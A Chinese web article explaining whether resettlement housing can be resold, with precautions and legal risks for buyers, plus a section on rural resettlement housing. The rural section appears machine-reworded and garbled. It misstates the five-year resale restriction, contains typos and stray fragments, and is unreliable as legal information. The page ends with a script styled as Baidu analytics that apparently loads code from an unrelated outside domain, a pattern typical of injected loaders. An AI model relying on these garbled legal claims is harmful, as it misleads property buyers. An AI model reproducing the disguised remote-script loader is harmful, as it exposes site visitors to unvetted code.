安置房可以买卖吗? 安置房买卖注意事项及风险

安置房是政府进行城市道路建设和其他公共设施建设项目时，对被拆迁住户进行安置所建的房屋，对于得到的安置房有的人选择自己居住，但也有的人选择转手卖出去，那这安置房可以买卖吗?安置房买卖的注意事项以及风险又有哪些呢?小编整理了一些相关资料，我们了解下：安置房可以买卖吗?安置房可以买卖吗?这是很多人想知道的，目前安置房主要有两大类：一类是因重大市政工程动迁居民而建造的配套商品房或配购的中低价商品房。按照有关方面的规定，被安置人获得这种配套商品房的，房屋产权属于个人所有，但在取得所有权的5年之内不能上市交易。另一类是因房产开发等因素而动拆迁，动拆迁公司通过其他途径安置或代为安置人购买的中低价位商品房(与市场价比较而言)。该类商品房和一般的商品房相比没有什么区别，属于被安置人的私有财产，没有转让期限的限制，可以自由上市交易。从安置房的性子来看，无疑安置房是可以买卖的，交易也与普通房屋没有差别。安置房买卖注意事项：安置房可以买卖，但为了避免以后发生纠纷，在安置房买卖交易过程中还是有很多东西是需要注意的：1、调查清楚拆迁前的产权性质，如果拆迁前具备产权证，只是拆迁后开发商没有及时办理，如果有拆迁协议书，虽然麻烦，但日后还是可以办理产权证的;2、一定要办理公证手续，以免日收出现纠纷。3、有的开发企业为了增加收入，在拆迁安置房交易后可以提供更名(过户)服务，适当收一些费用是一种比较好的解决办法。安置房买卖的风险：1、政策因素根据相关法规及政策规定，拆迁安置房屋一般分为两大类：一类是因重大市政工程动迁而建造的配套商品房或配购的中低价商品房。此类房屋产权虽属于个人所有，但在取得所有权的一定期限内不能上市交易。另一类是因房产开发等因素而动拆迁，动拆迁公司通过其他途径安置或代为安置人购买的中低价位商品房(与市场价比较而言)。该类商品房和一般的商品房相比没有什么区别，属于被安置人的私有财产，没有转让期限的限制，可以自由上市交易。2、价格因素目前拆迁安置房的买卖大多是在签订了拆迁安置协议但房子尚未交付的情况下转让买卖的。由于从订立安置协议到房屋交付，中间间隔时间长、变化大，特别是价格不断上涨，到交房时的价格可能相差近千元，拆迁户认为自己的利益受到了损失，因此拒绝交房，要求涨价，最终导致双方的矛盾加剧，引起诉讼。3、人的因素“共有人”是拆迁安置房买卖风险的最大制造者。他们找合同的漏洞逃避法律责任追求己方利益，或为合同的履行设置障碍。共有人会以《城市房地产管理法》第38条第4项“共有房地产，未经其他共有人书面同意的”及第6项“未依法登记领取权属证书的”房地产不得转让为由，请求确认合同无效。房屋交易是人们比较关心的问题，同时也希望对房子性质等进行多方面的了解，以避免以后发生纠纷，随着城市的发展也存在着很多安置房，所以安置房买卖也是很多人关注的热点。以上就是小编要和大家分享的安置房可以买卖吗、安置房买卖注意事项及风险等相关信息，希望能帮到大家，更多相关信息请继续关注我们。

农村安置房可以买卖吗

农村地区空气新鲜，物价便宜，有的人向往田园生活，可能会选择购买农村安置房来进行居住。那么，农村安置房可以买卖吗,有哪些风险?第一，房价上涨容易诱使卖方违约。根据该政策，卖方不得在获得财产证明之日起五年后将房屋转让给买方。在漫长的五年中，房价的走势是不可预测的。当房价急剧上涨时，卖家可能会再次将房子出售给较高价的房屋。在某些极端情况下，搬迁单位可能在最终转让之前已经买卖了十几次。农村安置房购买者无法获得足够的销售合同保障。许多搬迁和安置的买家认为销售合同已经签订，房子已经支付，房子已经装修，卖家违反条约也无妨。但实际上，完成转让手续的买方将在法律上有权获得房屋的所有权，并有权要求原买方搬出房屋。住房安置。第二，买房无法取得二次拆迁的利益。有些农村安置房会面临再次拆迁的情况。这时候拆迁办的补偿金额高于拆迁农村安置房的交易价格，卖方和买方经常对拆迁安置补偿的分配发生争议。从法律上讲，拆迁补偿仍属于卖方。其实卖方在收到购买后仍有权获得拆迁补偿。第三，易受不确定因素影响。交易中会出现不可预见的音素。比如：卖方在转让完成之前就已经死亡，卖方的继承人对合同提出异议，认为买方的价格太低了。买方必须与从未见过的继承人谈判，然后参与卖方的家务。最终，买家选择通过诉讼来解决问题，但他们面临着新的问题。卖方可能有几个继承人，有些继承人可能还不在国内。这种情况下，法院必须通过外交途径提供服务。买房者在购买农村安置房时，只看到了比较低的价格，更加应该看到农村安置房的风险。购买农村安置房其实并非明智之举，因为要顺利完成交易所消耗的时间过长，其中潜在的法律风险是任何人都难以预见和避免的。买方所获得的只是有限的差价，而其可能损失的却是整个房屋。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();